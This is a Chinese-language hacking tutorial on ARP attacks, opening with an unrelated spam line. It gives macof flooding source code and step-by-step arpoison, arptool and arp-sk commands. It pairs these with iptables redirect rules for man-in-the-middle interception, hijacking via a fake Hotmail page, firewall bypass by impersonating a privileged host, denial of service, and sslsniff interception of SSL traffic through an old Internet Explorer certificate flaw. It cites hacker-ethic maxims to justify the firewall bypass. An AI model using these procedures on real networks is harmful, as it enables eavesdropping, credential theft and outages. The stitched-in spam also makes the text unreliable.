自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

戰(zhàn)術(shù)攻防之近距離搏擊篇(ARP)攻擊

安全 黑客攻防
SANS公布2001來自于內(nèi)部入侵攻擊雖然只占30%左右,然而產(chǎn)生的危害也最大,因此局域網(wǎng)絡(luò)的入侵和滲透更具有實足的硝煙氣息。利用二層鏈路上ARP協(xié)議漏洞而產(chǎn)生的各種攻擊方式無疑是局部網(wǎng)絡(luò)戰(zhàn)爭最精妙的特技。

生活在網(wǎng)絡(luò)時代里,我們的生活里多了黑客這樣一群神秘人物。傳說中他們放蕩不羈,崇尚自我并行事詭異,攪動著整個網(wǎng)絡(luò)命脈,使其生機無限。然而現(xiàn)實中,他們超然的生活于我們周圍。假想在一間忙碌的Office中,每個員工在自己狹窄的工作空間中埋頭于自己手頭的事物;能聽到的聲音是手指在鍵盤揮舞的呵咔聲和此起彼伏的電話鈴,有誰有注意到那狹窄的個人空間里,思維的放任超乎尋常。飛快的手指間,各種指令和運作的程序隊列般的游行著。表面上似乎一切都正常,然而,或許那里正進(jìn)行著激烈的電子對抗……。

SANS公布2001來自于內(nèi)部入侵攻擊雖然只占30%左右,然而產(chǎn)生的危害也最大,因此局域網(wǎng)絡(luò)的入侵和滲透更具有實足的硝煙氣息。利用二層鏈路上ARP協(xié)議漏洞而產(chǎn)生的各種攻擊方式無疑是局部網(wǎng)絡(luò)戰(zhàn)爭最精妙的特技。

一、 基礎(chǔ)知識預(yù)備

精巧程序的后面藏匿著簡單的原理和聰穎的智慧。為了順利闡述ARP本身的協(xié)議漏洞以及后面將要闡述的各種ARP攻擊思維(同時,我必須顧及那些初次接觸網(wǎng)絡(luò)的朋友,以致不挫傷他們對網(wǎng)絡(luò)攻擊防御的興趣),我們將粗淺的概覽ARP協(xié)議和相關(guān)的網(wǎng)絡(luò)鏈路層的一些概念。

ARP(Address Resolution Protocol)簡稱地址解析協(xié)議,主要用于把以太網(wǎng)卡硬件地址和IP地址捆綁起來。當(dāng)主機之間發(fā)生通信要求,則ARP協(xié)議通過廣播請求/單播回應(yīng)方式建立主機間通信連接。大家熟悉的IP地址采用32位長度,在以太局域網(wǎng)中網(wǎng)卡設(shè)備地址是48位長度(也稱為MAC地址)。一張稱為ARP緩存的表單用于維護MAC地址和其所對應(yīng)的IP地址的相關(guān)性。ARP則提供用于在網(wǎng)絡(luò)設(shè)備間進(jìn)行地址轉(zhuǎn)換和創(chuàng)造MAC-IP相關(guān)性的協(xié)議規(guī)則。

網(wǎng)絡(luò)鏈路層的建立通信關(guān)系的準(zhǔn)則:網(wǎng)絡(luò)主機A欲與網(wǎng)絡(luò)主機C建立通信連接,主機A在網(wǎng)絡(luò)中廣播ARP的請求數(shù)據(jù)包(REQUEST),如圖一:

主機A欲與IP地址為192.168.1.3的目標(biāo)主機通信,則發(fā)送的廣播的數(shù)據(jù)包中包含本身的IP地址、網(wǎng)卡的MAC地址、目標(biāo)主機的IP地址以及廣播MAC地址(FF-FF-FF-FF-FF-FF)。

(注:Mac地址是媒體接入層上使用的地址,直觀的概念就是網(wǎng)卡的物理地址,Mac地址一般都采用6字節(jié)48bit。)

主機C接收到ARP的REQUEST廣播包,發(fā)現(xiàn)目標(biāo)地址中IP地址與自身IP地址一致,接收該數(shù)據(jù)請求,并作出響應(yīng)。

從圖二中,可以看到主機C發(fā)現(xiàn)主A的ARP請求符合要求,在自身ARP緩存表中添加主機A的IP-MAC綁定映像記錄,并發(fā)送單播ARP回應(yīng)數(shù)據(jù)包(RELAY)給主機A。主機A接收到回應(yīng)數(shù)據(jù)包,更新其ARP緩存表記錄,綁定主機C的IP-MAC映像記錄。至此,二層通信關(guān)系建立完畢。而網(wǎng)絡(luò)中其他主機則忽略此請求包。

這種關(guān)系可以類似于情景會話↓

主機A:嗨,誰主機的IP地址是192.168.1.3?

主機B:嗨,我主機地址是192.168.1.3,我的門牌號是00-50-56-C0-08,記得來找我啊。

其他主機:NO,這不是我的IP地址。

從原理分析發(fā)覺ARP本身是無類協(xié)議,本身不能攜帶任何狀態(tài)信息。因此ARP協(xié)議不能進(jìn)行任何認(rèn)證,這樣就導(dǎo)致協(xié)議本身具有安全威脅性。造成這種安全威脅的歷史原因在于:早先的網(wǎng)絡(luò)創(chuàng)造者們是在一個平和自由的環(huán)境中設(shè)計ARP協(xié)議,因而安全問題在當(dāng)時幾乎是瑣碎的事情。然而網(wǎng)絡(luò)集聚膨脹,破壞性攻擊和入侵事件的增加,使得ARP協(xié)議脆弱不堪。

了解ARP工作原理之后,可以得出:大部分網(wǎng)絡(luò)系統(tǒng)中的ARP緩存列表根據(jù)所接收的ARP REPLAY數(shù)據(jù)包動態(tài)增加或更新緩存表中IP-MAC映射記錄。根據(jù)這樣一條簡單規(guī)則,我們將看到各種絢麗的入侵和攻擊手法。#p#

二、 攻擊分類

◆ARP緩存中毒

這是個非常有意思的標(biāo)題—“中毒”,這能讓我聯(lián)想到霉綠色的空氣和腐銹的紅色河水,畢竟地球區(qū)域生態(tài)環(huán)境令人擔(dān)心?。

ARP緩存中毒其實質(zhì)并沒有字面含義那么可怕。還記得前面所提高過ARP緩存表的概念吧,事實上每個網(wǎng)絡(luò)設(shè)備都有一個APR表,其中臨時記錄著匹配的設(shè)備MAC和IP地址映射對。它保證這些記錄具有唯一性,即一個IP只單獨映射一個MAC。又由于ARP本身不具備認(rèn)證信任機制,因此欺騙行為變的泛濫。當(dāng)網(wǎng)絡(luò)設(shè)備發(fā)送ARP REQUEST時,它完全相信ARP REPLY回應(yīng)是來自于正確設(shè)備,因為它不能驗證回應(yīng)數(shù)據(jù)包是否確切從正確的設(shè)備發(fā)送的。更糟糕的是,許多操作系統(tǒng)并不需要發(fā)送ARP請求數(shù)據(jù)包就直接承認(rèn)其他設(shè)備發(fā)送的ARP回應(yīng)數(shù)據(jù)包。

這樣垃圾方式的設(shè)計讓入侵變的肆意,而防御卻無奈了許多。假設(shè)我是一個黑帽,我知道ARP并無驗證行為,而且系統(tǒng)不需要發(fā)送請求數(shù)據(jù)包就可接收ARP的回應(yīng)數(shù)據(jù)包。我會怎么做?創(chuàng)建一個貌似合法的ARP REPLY數(shù)據(jù)包,其中偽造我所希望的MAC和IP地址,并發(fā)送給盲目接收此類數(shù)據(jù)包的主機系統(tǒng)。結(jié)果,這種方式欺騙主機使其更新我所希望的MAC-IP地址映射對。當(dāng)然,我可以肆意廣播這種ARP REPLY數(shù)據(jù)包,愚弄整個網(wǎng)絡(luò)系統(tǒng)所有主機(?冷)。

現(xiàn)在你知道了ARP的一個小技巧,我們稱其為:ARP緩存中毒。正是通過它,無數(shù)的發(fā)明創(chuàng)造出來,正如輪子的發(fā)明可以和人類登月媲美,簡單的發(fā)明可以翹動地球。

◆MAC泛洪攻擊(Flooding)

現(xiàn)在的網(wǎng)絡(luò)結(jié)構(gòu)大多數(shù)使用交換方式(Switched)結(jié)構(gòu)取代早先的的廣播方式(Broadcast),這樣的優(yōu)勢在于交換機不會向每個端口無聊的推送廣播風(fēng)暴,它稍微智能的判斷需要推送數(shù)據(jù)的端口,這讓那些層在HUB方式連接的下大顯神威的嗅探器(snffer)感到憋足。

然而進(jìn)步的力量有時候令“安全”變的很嬌嫩。交換機啟用端口安全特性(Port security)需要消耗部分的CPU,當(dāng)交換處理超負(fù)載后,交換機就無法處理端口安全,此時交換機陷入了HUB模式,數(shù)據(jù)被簡單的廣播到網(wǎng)絡(luò)中的每臺計算機中,于是竊聽活動仍然可以繼續(xù)。于是利用大量的偽造ARP REQUEST數(shù)據(jù)包對交換機的ARP表進(jìn)行泛洪攻擊(ARP緩存表中毒的典型運用),可以輕易使很多廠商交換機負(fù)荷過載(CISCO 1900和3COM superstackII就容易遭受攻擊),此刻交換機處于類似HUB工作方式,因而可輕松使用包嗅探器刺探整個網(wǎng)絡(luò)。

macof的小程序輕松了實現(xiàn)了這樣的功能,其代碼實現(xiàn)如下:
---------------snip-------------------

#include "config.h"
#include 
#include 
#include 
#include 
#include 
#include 
#include

#include "version.h"

extern char *ether_ntoa(struct ether_addr *);
extern struct ether_addr *ether_aton(char *);

in_addr_t Src = 0;
in_addr_t Dst = 0;
u_char *Tha = NULL;
u_short Dport = 0;
u_short Sport = 0;
char   *Intf = NULL;
int Repeat = -1;  //導(dǎo)致偽造MAC的無限循環(huán)

void usage(void) {
fprintf(stderr, "Version: " VERSION "\n"
"Usage: macof ");
exit(1);
}
void gen_mac(u_char *mac) {
    //產(chǎn)生隨機MAC地址
*((in_addr_t *)mac) = libnet_get_prand(PRu32);
*((u_short *)(mac + 4)) = libnet_get_prand(PRu16);
}
int main(int argc, char *argv[]) {
int c, i;
struct libnet_link_int *llif;
char ebuf[PCAP_ERRBUF_SIZE];
u_char sha[ETHER_ADDR_LEN], tha[ETHER_ADDR_LEN];
in_addr_t src, dst;
u_short sport, dport;
u_int32_t seq;
u_char pkt[ETH_H + IP_H + TCP_H];
if (!Intf && (Intf = pcap_lookupdev(ebuf)) == NULL)
errx(1, "%s", ebuf);
if ((llif = libnet_open_link_interface(Intf, ebuf)) == 0)
errx(1, "%s", ebuf);
libnet_seed_prand();
for (i = 0; i != Repeat; i++) {  
gen_mac(sha);
    gen_mac(tha);
    src = libnet_get_prand(PRu32);
dst = libnet_get_prand(PRu32);
sport = libnet_get_prand(PRu16);
dport = libnet_get_prand(PRu16);
seq = libnet_get_prand(PRu32);
//偽造貌似合法MAC地址
libnet_build_ethernet(tha, sha, ETHERTYPE_IP, NULL, 0, pkt);
libnet_build_ip(TCP_H, 0, libnet_get_prand(PRu16), 0, 64,
   IPPROTO_TCP, src, dst, NULL, 0, pkt + ETH_H);
libnet_build_tcp(sport, dport, seq, 0, TH_SYN, 512,
    0, NULL, 0, pkt + ETH_H + IP_H);
libnet_do_checksum(pkt + ETH_H, IPPROTO_IP, IP_H);
libnet_do_checksum(pkt + ETH_H, IPPROTO_TCP, TCP_H);
if (libnet_write_link_layer(llif, Intf, pkt, sizeof(pkt)) < 0)
  errx(1, "write");
fprintf(stderr, "%s ",
  "源MAC地址:"ether_ntoa((struct ether_addr *)sha));
fprintf(stderr, "%s\n %s:%d > %s:%d\n",
  "目標(biāo)MAC地址:"ether_ntoa((struct ether_addr *)tha),
  "源IP地址/端口:"libnet_host_lookup(Src, 0), sport,
  "目標(biāo)IP地址/端口:"libnet_host_lookup(Dst, 0), dport);
}
exit(0);
}
-----------------snip end-----------------------------

/* 本程序的作者是Dug Songdugsong@m.org,由于這里只需要實現(xiàn)MAC FLOODING的攻擊,所以我對程序做了精簡,便于讀者直觀了解MAC FLOODING的攻擊原理。另外,macof的最早作者是Ian Vitek,采用Perl進(jìn)行編寫的*/

#macof 測試
[root@hackersvr /]# macof

源MAC地址:77:6b:e1:6e:5e:8c目標(biāo)MAC地址:93:2d:ed:45:f9:e3

源IP地址/端口:0.0.0.0:45702目標(biāo)IP地址/端口0.0.0.0:11000

源MAC地址:84:a4:d3:57:ef:8目標(biāo)MAC地址:12:56:52:42:dc:95

源IP地址/端口:0.0.0.0:16630目標(biāo)IP地址/端口0.0.0.0:3031

源MAC地址:f0:9:3f:18:89目標(biāo)MAC地址:1d:86:53:53:d7:f8

源IP地址/端口:0.0.0.0:15535目標(biāo)IP地址/端口0.0.0.0:7466 …………

此程序偽裝大量ARP回應(yīng)數(shù)據(jù)包,導(dǎo)致交換機過載處理,因而陷入HUB方式處理數(shù)據(jù)包,Port Security特性失效。通過這種方式導(dǎo)致網(wǎng)絡(luò)安全再度陷入了竊聽的恐慌之中(注意:本程序只做實驗用途,嚴(yán)禁使用于任何工作環(huán)境,否則將導(dǎo)致網(wǎng)絡(luò)癱瘓或交換機硬件重置)。#p#

◆ARP欺騙行為

雖然MAC泛洪的攻擊方式帶了一些恐慌,但是由于這種方式在很多場合成功概率不高,且這種攻擊方式太過于激進(jìn),以至于聰明的網(wǎng)管能很快分析網(wǎng)絡(luò)并馬上制止這種行為的擴散,因此一種稱之為ARP欺騙的隱蔽的ARP中毒演變攻擊進(jìn)入了Cyber空間。

首先假設(shè)一個場景:假如主機A要想獲得主機B的MAC,它需發(fā)送arp-request數(shù)據(jù)包到廣播地址,主機B會以自身地址回應(yīng)這個請求。但假如主機C在主機B之前作出回應(yīng)。主機A則在其緩存中設(shè)置主機C的MAC地址。

12:50:31.198300 arp who-has hostB tell hostA   [1]

12:50:31.198631 arp reply hostC is-at 4e:73:02:4b:3f:94  [2]

于是我們構(gòu)造了欺騙行為,但由于主機A發(fā)送的是廣播包,因此主機B也會應(yīng)答:

12:50:31.198862 arp reply hostB is-at 4e:80:51:d1:5e:f5  [3]

那么主機A的ARP緩存很有可能被刷新,但是由于緩存的無驗證即時更新機制,只要主機C不斷發(fā)送偽造的回應(yīng)包,那么主機A的緩存列表中就能一直保存主機C的MAC地址。(假如主機不發(fā)送arp-request,向其發(fā)送arp-reply并無太大意思,因為緩存不會更新一個不存在的記錄)。其實現(xiàn)原理如圖:

了解ARP欺騙的方式后,其準(zhǔn)確定義如下:利用以太和IP協(xié)議之間的交互關(guān)系而形成的攻擊方法,比如,偽造目標(biāo)計算機的MAC地址以獲取其控制權(quán)。其表現(xiàn)形式為構(gòu)造虛假arp-request和arp-reply數(shù)據(jù)包以實現(xiàn)欺騙目的。

這種欺騙方式主要用于交換網(wǎng)絡(luò)結(jié)構(gòu)(對于HUB結(jié)構(gòu),可以直接對目標(biāo)主機進(jìn)行強制控制,使用欺騙方式似乎是種累贅),因此交換網(wǎng)的堅固性似乎變的脆弱很多。

使用arpoison小程序可以發(fā)送自定義硬件和IP地址的arp-reply包給目標(biāo)主機,對其實行欺騙行為。

[root@hackersvr arpoison]# ./arpoison –I eth0 –d {hostA_ipaddr} –s {hostB_ipaddr} –t 00:13:0E:19:85:03 –r {hostC_mac_addr}ARP packet sent via eth0

# 1、主機C大量使用自己MAC回應(yīng)主機A的請求,導(dǎo)致主機A被蒙騙與主機進(jìn)行通信。

# 2、假如{- r}參數(shù)所設(shè)置的MAC為一個不存在的MAC地址,則會導(dǎo)致主機B與主機C之間的TCP

# 會話臨時性強行斷開。

# 3、假如想更新網(wǎng)絡(luò)中所有主機系統(tǒng),可以發(fā)送廣播MAC地址FF:FF:FF:FF:FF:FF

◆中間人攻擊(Man In the Middle,MIM)

在ARP方式的攻擊,最有意思的環(huán)節(jié)莫過于MIM,這種非常隱蔽方式可以在兩臺通信的計算機之間進(jìn)行橋接方式的監(jiān)聽,并且非常不容易被發(fā)現(xiàn),可謂是偷盜學(xué)術(shù)上的典范運用。

攻擊者駁接本地網(wǎng)絡(luò),分別向主機A和主機B發(fā)送適當(dāng)?shù)膫卧霢rp-reply包,蒙蔽其所認(rèn)為的正確的通信目標(biāo),并建立轉(zhuǎn)發(fā)規(guī)則,實現(xiàn)主機A與主機B之間的數(shù)據(jù)通信。使數(shù)據(jù)鏈路表面上看似A與B的正常通信,實則通過了攻擊者的機器進(jìn)行代理轉(zhuǎn)發(fā)。

采用arptool可以輕松實現(xiàn)這類入侵方式:

 arptool用法: arptool

用于發(fā)送數(shù)據(jù)包的網(wǎng)卡

 發(fā)送的ARP類型包

tell    arp-reply類型數(shù)據(jù)包

bcast   當(dāng)攻擊對象是linux操作系統(tǒng),可使用此參數(shù)代替tell

 /        目標(biāo)IP/MAC地址對

 /        源IP/MAC地址對

1、分別對主機A/B實施ARP攻擊

[root@hackersvr arptool]#ping 192.168.1.1

[root@hackersvr arptool]#ping 192.168.1.2

[root@hackersvr arptool]#arp –a

?(192.168.1.1) at 01.01.01.01.01.01 [ether] on eth0

?(192.168.1.2) at 02.02.02.02.02.02 [ether] on eth0

[root@hackersvr arptool]# ./arptool eth0 tell 192.168.1.1 01:01:01:01:01:01 192.168.1.2 03:03:03:03:03:03

[root@hackersvr arptool]#./arptool eth0 tell 192.168.1.2 02:02:02:02:02:02 192.168.1.1 03:03:03:03:03:03

現(xiàn)在我們可以透明代理主機A/B之間的應(yīng)用程序數(shù)據(jù)通信?,比如攻擊者可以修改主機A/B之間的HTTP事務(wù)提交,但這需要我們在其間建立橋接轉(zhuǎn)發(fā)關(guān)系。

2、橋接主機A/B之間通信

[root@hackersvr arptool]#e cho 1 > /proc/sys/net/ipv4/ip_forward

[root@hackersvr arptool]#iptables -t nat -A PREROUTING -p tcp -s 192.168.1.2

-d 192.168.1.1 --dport 80 -j REDIRECT --to-port 80

 通過這種方式,我們可以監(jiān)聽、修改、切斷和劫持主機A/B之間的任何應(yīng)用通信數(shù)據(jù),似乎整個網(wǎng)絡(luò)陷落在一種前所未有的慌亂之中。

知識組合攻擊

arp-sk在arp方式攻擊中,享有“瑞士軍刀”的美譽,它可以維護所有設(shè)備的ARP表。通過發(fā)送適合的ARP數(shù)據(jù)包,它可以實現(xiàn)ARP的所有類型攻擊,非常強悍的工具。本節(jié)將采用arp-sk講解會話劫持、偷越防火墻和拒絕服務(wù)攻擊的思維方式。

1、 代理會話劫持(hijacking)

攻擊者架設(shè)HTTP服務(wù)器模擬遠(yuǎn)程網(wǎng)站的一部分站點(這部分網(wǎng)頁用于劫持主機B客戶輸入相關(guān)信息,例如用戶名或ID)。而不需要模擬的站點則代理轉(zhuǎn)發(fā)至真實站點,這種高超的詐騙技巧非常 隱蔽。當(dāng)我們盡情享受網(wǎng)絡(luò)沖浪的愉快時,誰會想到這是個陷阱?

發(fā)送arp-reply分別攻擊防火墻和目標(biāo)主機

[root@hackersvr arp-sk]# ./arp-sk -r -d 192.168.1.2 -S 192.168.1.4 -D 192.168.1.2

+ Running mode "reply"

+ IfName: eth0

+ Source MAC: 03:03:03:03:03:03

+ Source ARP MAC: 03:03:03:03:03:03

+ Source ARP IP : 192.168.1.4 (gateway)

+ Target MAC: 02:02:02:02:02:02

+ Target ARP MAC: 02:02:02:02:02:02

+ Target ARP IP : 192.168.1.2 (hostB)

[...]

[root@hackersvr arp-sk]# ./arp-sk -r -d 192.168.1.4 -S 192.168.1.2 -D 192.168.1.4

+ Running mode "reply"

+ IfName: eth0

+ Source MAC: 03:03:03:03:03:03

+ Source ARP MAC: 03:03:03:03:03:03

+ Source ARP IP : 192.168.1.4 (hostB)

+ Target MAC: 04:04:04:04:04:04

+ Target ARP MAC: 04:04:04:04:04:04

+ Target ARP IP : 192.168.1.4 (gateway)

[...]

# 代理轉(zhuǎn)發(fā)非hotmail(207.68.171.233)的一切站點(攻擊者模擬hotmail站點,偽裝提供服務(wù))

[root@hackersvr arp-sk]# iptables -t nat -A PREROUTING -p tcp -s 192.168.1.2 \

-d !207.68.171.233 --dport 80 -j REDIRECT --to-port 80

代理轉(zhuǎn)發(fā)非hotmail(207.68.171.233)的一切站點(攻擊者模擬hotmail站點,偽裝提供服務(wù))

[root@hackersvr arp-sk]# iptables -t nat -A PREROUTING -p tcp -s 192.168.1.2 \

-d !207.68.171.233 --dport 80 -j REDIRECT --to-port 80

當(dāng)使用轉(zhuǎn)發(fā)設(shè)置,目標(biāo)主機使用ping命令可以檢測到其數(shù)據(jù)包的重定向,因此這里阻擋icmp重 定向的信息。

[root@hackersvr arp-sk]# echo 0 > /proc/sys/net/ipv4/conf/all/send_redirects

OK,剩下的事情就是如何如何使用嗅探工具、數(shù)據(jù)捕獲工具或自行定義的腳本來觀測目標(biāo)主機的# 沖浪行為,并可以掌握他所有一切上網(wǎng)信息,諸如:郵件帳戶、論壇ID等。(這些使用方法超出

本文所論述的arp攻擊行為,不予討論)

2、 偷越防火墻

網(wǎng)絡(luò)權(quán)利的不均衡總?cè)囚[一些自負(fù)的家伙。由于網(wǎng)管的存在和防火墻的規(guī)則的設(shè)置,使得某些具有特權(quán)的計算機才能任意的訪問整個互連網(wǎng),這為其它機器的使用者潛埋下嫉妒和羨慕的心理成分。為了反擊這種權(quán)利不均衡,Arp方式的欺騙訪問再一次獲得成功!?

原理圖六中,虛線代表主機B的正常出網(wǎng)訪問,通過Arp攻擊后,攻擊者以主機B的身份特權(quán)對互連網(wǎng)進(jìn)行任意訪問,并分離主機B的網(wǎng)絡(luò)訪問,使主機B網(wǎng)絡(luò)訪問正常無異,防火墻的訪問限

制形如虛設(shè)。

只需要對防火墻進(jìn)行攻擊,不需要對主機B實施攻擊

[root@hackersvr arp-sk]# arp-sk -r -d 192.168.1.4 -S 192.168.1.2 -D 192.168.1.4

使用Linux的Netfilter框架,很容易分離屬于攻擊者網(wǎng)絡(luò)訪問流和屬于主機B的網(wǎng)絡(luò)訪問流

[root@hackersvr arp-sk]# iptables -t nat -A POSTROUTING -j SNAT --to 192.168.1.2

一切的完美幾乎就在幾句簡單的語句之間完成,我想起史蒂文?列維的幾句真言:

1、進(jìn)入(訪問)計算機應(yīng)該是不受限制的和絕對的;

2、一切信息都應(yīng)該是免費的;

3、懷疑權(quán)威,反對壟斷;

4、任何一個人都能在計算機上創(chuàng)造藝術(shù)和美;

5、計算機能夠使生活變得更美好

于是,攻擊在此刻似乎也變的美麗了許多。

3、 拒絕服務(wù)攻擊(DoS)

有了上面學(xué)習(xí)過程,這里實現(xiàn)Dos攻擊的方式變的相當(dāng)簡單,對于攻擊者所代理轉(zhuǎn)發(fā)的數(shù)據(jù)包進(jìn)行阻塞,從而達(dá)到這種卑劣的目的。(我相當(dāng)反感這種攻擊方式,因此我也非常討厭駕御它進(jìn)行攻擊的人,因此我希望這類攻擊方式只用于實驗?zāi)康?,不要濫用!)

利用Linux得力的iptables工具,方便實現(xiàn)數(shù)據(jù)堵塞

[root@hackersvr arp-sk]# iptables -A FORWARD -s 192.168.1.1 -j DROP

[root@hackersvr arp-sk]# iptables -A FORWARD -s 192.168.1.2 -j DROP

[root@hackersvr arp-sk]# iptables -A FORWARD -s 192.168.1.4 -j DROP

 另一種方式是制造一個Mac”黑洞”,既使用不存在的mac地址使目標(biāo)主機從網(wǎng)絡(luò)地圖上消失。

如下句法使hostA認(rèn)為hostB已經(jīng)離開網(wǎng)絡(luò)了:

[root@hackersvr arp-sk]# arp-sk -r -d hostB -S hostA --rand-arp-hwa-src -D hostB

通過了解Arp原理,我們發(fā)現(xiàn)這些攻擊方式非常有趣,并且思路簡單,實現(xiàn)方法也相當(dāng)容易。但這些小技巧不過是Arp攻擊的基礎(chǔ)層面,下面的部分將深入討論一些Arp高級利用技巧,其攻擊思維的精妙之處令我贊嘆不止。#p#

三、 ARP攻擊進(jìn)階

◆SSL深度刺穿

前面闡述過使用MIM攻擊方式可以在交換網(wǎng)環(huán)境中對任意主機進(jìn)行竊聽活動,于是用網(wǎng)絡(luò)傳輸任何敏感數(shù)據(jù)是非常危險的,當(dāng)輸入信用卡的ID的時候,當(dāng)發(fā)送私人郵件時,你是否會想象這網(wǎng)絡(luò)的另一端已經(jīng)布置了陷阱,等著你發(fā)送自動把自己的秘密泄露呢?所以利用私鑰加密的傳輸方式變的非常風(fēng)靡,因為我們非常信任CA,所以我們把自己放置于一個依賴“信任”的網(wǎng)絡(luò)安全環(huán)境中進(jìn)行著各種交易。

而流行的SSL協(xié)議在這種信任環(huán)境中扮演極其重要的角色,由于其加密通道內(nèi)包含了重要資信和數(shù)據(jù),一時間它成為許多竊聽高手的重要目標(biāo)。本文將以微軟糟糕的IE為例,講述如何從其加密的通道內(nèi)竊聽信息。

眾所周知,微軟總向世人鼓吹其瀏覽器128位加密的強大好處,其SSL安全機制的完美。殊不知,由于其追求快速開發(fā)和節(jié)約成本的代碼壓縮,導(dǎo)致其結(jié)構(gòu)本身存在許多漏洞。在IE的SSL實現(xiàn)中,一個特征漏洞是可以對其進(jìn)行主動而無法偵測的MIM攻擊,并且瀏覽器不會給出任何警告對話框。

在構(gòu)建加密通道站點時候,管理員需要產(chǎn)生一個經(jīng)過CA簽名的證書,證書中DN部分的CN設(shè)置應(yīng)該為安全站點的URL地址。如果我們想建立安全的www.hakcerxfiles.net的安全站點,我們需要申請的證書結(jié)構(gòu)形式大體為:

[CA頒發(fā)者:VeriSign / 信任授權(quán)體:VeriSign]

->[CA頒發(fā)者:VeriSign / 信任授權(quán)體:www.hackerxfiles.net]

當(dāng)瀏覽器接收到此證書,它會自動驗證CN字段和其所連接的域是否匹配、其證書是否使用了權(quán)威CA機構(gòu)的簽名。利用MIM攻擊方式似乎很無力,畢竟偽造一張擁有合法CN字段和合法簽名的證書困難相當(dāng)之大。

然而在現(xiàn)實當(dāng)中,更多的CA證書機構(gòu)是以中間人的形式來辦法數(shù)字證書的。這意味著www.hackerxfiles.net很可能得到的數(shù)字證書結(jié)構(gòu):

[CA頒發(fā)者:VeriSign / 信任授權(quán)體:VeriSign]

->[CA頒發(fā)者:VeriSign / 信任授權(quán)體:CA中介]

->[CA頒發(fā)者:CA中介 / 信任授權(quán)體:www.hackerxfiles.net ]

當(dāng)瀏覽器接受此證書,其會嚴(yán)整認(rèn)證分支鏈路證書的CN值是否與所連接的域名匹配、其是否被中介CA簽名、中介CA是否被權(quán)威CA記過簽名。最后,瀏覽器還檢查所有中介CA是否具有合法的CA基本約束(Basic Constraints,關(guān)于證書認(rèn)證鏈路的路徑深度的概念,具體可參閱RFC2459文檔4.2.1-10部分的解釋)。

整個認(rèn)證過程看起來很完美,但I(xiàn)E在設(shè)計SSL的時候卻在整個認(rèn)證鏈路過程中省略CA基本約束(偷工減料無疑是制造了一個接一個垃圾功能?)。這意味著任何擁有域的合法CA簽名證書的用戶可以為其他域產(chǎn)生一個合法的CA簽名證書(由于缺少基本約束,瀏覽器無法判斷CA證書子結(jié)構(gòu)是中介CA機構(gòu)還是最終用戶實體)。

首先,作為hackerxfiles的站點管理員,我產(chǎn)生一個證書,并向CA請求一個合法簽名:

[CA頒發(fā)者:VeriSign / 信任授權(quán)體:VeriSign]

->[CA頒發(fā)者:VeriSign / 信任授權(quán)體:www.hackerxfiles.net]

接著,我為所需要認(rèn)證的域產(chǎn)生一個證書,并用我申請的CA證書為其簽名:

[CA頒發(fā)者:VeriSign / 信任授權(quán)體:VeriSign]

->[CA頒發(fā)者:VeriSign / 信任授權(quán)體:www.hackerxfiles.net]

->[CA頒發(fā)者:www.hackerxfiles.net / 信任授權(quán)體:www.163.com]

由于IE不對www.hackerxfiles.net中介證書進(jìn)行基本約束檢查,因此它承認(rèn)www.163.com的證書合法性。OK,發(fā)覺沒有?任何擁有權(quán)威CA簽名證書的用戶可以對其他人進(jìn)行“合法欺騙”?。。?!

熟悉這個漏洞后,設(shè)計的MIM SSL會話劫持攻擊原理圖如下:

安裝sslsniff-0.4.tar.gz

[root@hackersvr tools]#tar zxvf sslsniff-0.4.tar.gz

[root@hackersvr sslsniff-0.4]# make
 

這里可以把合法的SSL數(shù)字證書和私鑰合并到文件偽造證書,也可以使用軟件本身附帶的 trust.crt文件作為偽造證書,完成與可戶端的SSL握手。

監(jiān)聽443端口請求并重定向其到5555,并使用偽造證書進(jìn)行欺騙 

[root@hackersvr sslsniff-0.4]# ./sslsniff –p 5555 –c trust.crt

建立數(shù)據(jù)代理轉(zhuǎn)發(fā)機制

[root@hackersvr sslsniff-0.4]#e cho 1

> /proc/sys/net/ipv4/ip_forward

[root@hackersvr sslsniff-0.4]#iptables –t nat

–A PREROUTING

–p tcp –destination-port 443 –j REDIRECT –to-ports 5555

利用arp-sk對目標(biāo)主機進(jìn)行ARP欺騙攻擊,目標(biāo)主機將通過攻擊者主機代理所有數(shù)據(jù)。至此,整個竊聽體系建立完畢

arp-sk -r –d 192.168.1.2 -S 192.168.1.3 -D 192.168.1.2

在攻擊者收到客戶端的連接,將制造一個到真實安全站點的連接,并查詢服務(wù)器的證書信息。

SSLsniff產(chǎn)生一個中介CA數(shù)字證書,并用合法的trust.crt簽名,使其成為合法終端實體用戶證書。Sslsniff使用產(chǎn)生的證書認(rèn)證鏈路與客戶實現(xiàn)SSL握手認(rèn)證并代理期間的任何數(shù)據(jù)。

 由于IE設(shè)計SSL認(rèn)證鏈路的漏洞,瀏覽器并不會提出任何警告。其攻擊方式的新穎另人嘆服。

對于IE5和IE5.5版本,漏洞攻擊是非常輕松的。而IE6而言,則需要選擇適合的權(quán)威機構(gòu)CA簽名,VeriSign頒發(fā)的證書中,其CA基本約束沒有設(shè)置任何信息;而Thawte頒發(fā)的證書則明確設(shè)置了”Basic Constraint CA = FALSE”。如果IE6發(fā)現(xiàn)這樣的設(shè)置并不會跟從數(shù)字證書認(rèn)證 鏈路。則無法實現(xiàn)竊聽,反之則可順利監(jiān)聽IE內(nèi)SSL的一切數(shù)據(jù)活動。

通過精巧的方式,加密技術(shù)變的無所適從,于是一切疑惑又回到“信息保密是管理問題?還是技術(shù)問題?”的無盡爭論中。

(附:非常感謝Mike Benham對本節(jié)內(nèi)容的技術(shù)指導(dǎo)和email中為我解答的幾個疑惑問題,在此表示致敬)

◆利用DHCP攻擊

DHCP的設(shè)計的確為網(wǎng)絡(luò)管理員的懶惰帶來良好的借口。使用DHCP動態(tài)分配主機IP的方式,使的局域網(wǎng)絡(luò)的管理也簡潔很多。

為能以清晰的概念如何利用DHCP服務(wù)進(jìn)行攻擊,首先了解下DHCP服務(wù)器是如何動態(tài)分配的:

1、 客戶端發(fā)送一個DHCP的偵察包(discovery)給服務(wù)器,其中包含請求IP地址的信息??蛻舳说木W(wǎng)卡接口或許會請求它原來所租用的IP地址。

2、 服務(wù)器發(fā)送DHCP供應(yīng)包(offer),通知所提供的IP地址給客戶端。

3、 客戶端發(fā)送DHCP請求包(request),通知DHCP服務(wù)器客戶端需要服務(wù)器所提供的IP地址。

4、 服務(wù)器發(fā)送DHCP確認(rèn)包(ack),確認(rèn)客戶端已發(fā)送的申請要求??蛻舳私壎ǚ?wù)器所提供的IP地址。

5、 客戶端綁定默認(rèn)網(wǎng)關(guān),DNS服務(wù)等DHCP所提供的網(wǎng)絡(luò)設(shè)置。

